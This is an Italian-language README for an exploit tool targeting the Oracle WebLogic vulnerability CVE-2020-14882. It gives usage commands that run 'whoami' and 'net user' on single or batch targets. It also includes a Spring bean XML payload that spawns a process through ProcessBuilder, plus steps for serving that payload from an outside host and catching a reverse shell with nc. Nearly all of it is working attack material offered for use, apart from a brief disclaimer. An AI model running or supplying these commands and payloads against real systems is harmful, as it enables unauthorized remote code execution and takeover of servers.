ggyao/cve-2020-14882_allCVE-2020-14882_ALL strumento di sfruttamento completo, supporta il rilevamento dell'echo dei comandi, l'echo dei comandi in batch, l'esecuzione di comandi senza echo tramite XML esterno e altre funzionalità.
CVE-2020-14882_ALL è uno strumento di sfruttamento completo che supporta il rilevamento dell'echo dei comandi, l'echo di comandi in batch e l'esecuzione di comandi senza echo tramite file XML esterno.
Moduli richiesti: requests, http.client
（Lo strumento è destinato esclusivamente a test di sicurezza autorizzati; non utilizzarlo per scopi illegali. Qualsiasi uso improprio non è responsabilità dell'autore.）
Versioni note compatibili con il modulo di echo dei comandi: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"
python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"
python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"
Formato di target.txt: http://x.x.x.x:xx, un indirizzo per riga.
1、Utilizzando come esempio la reverse shell Linux, preparare il file poc.xml e avviare l'ascolto con python.
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
</list>
</constructor-arg>
</bean>
</beans>
Avviare l'ascolto con python.
Avviare l'ascolto con nc.
2、Utilizzare l'opzione -x per specificare il percorso del file XML e inviare il payload.
python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml
3、Ricezione della shell riuscita.
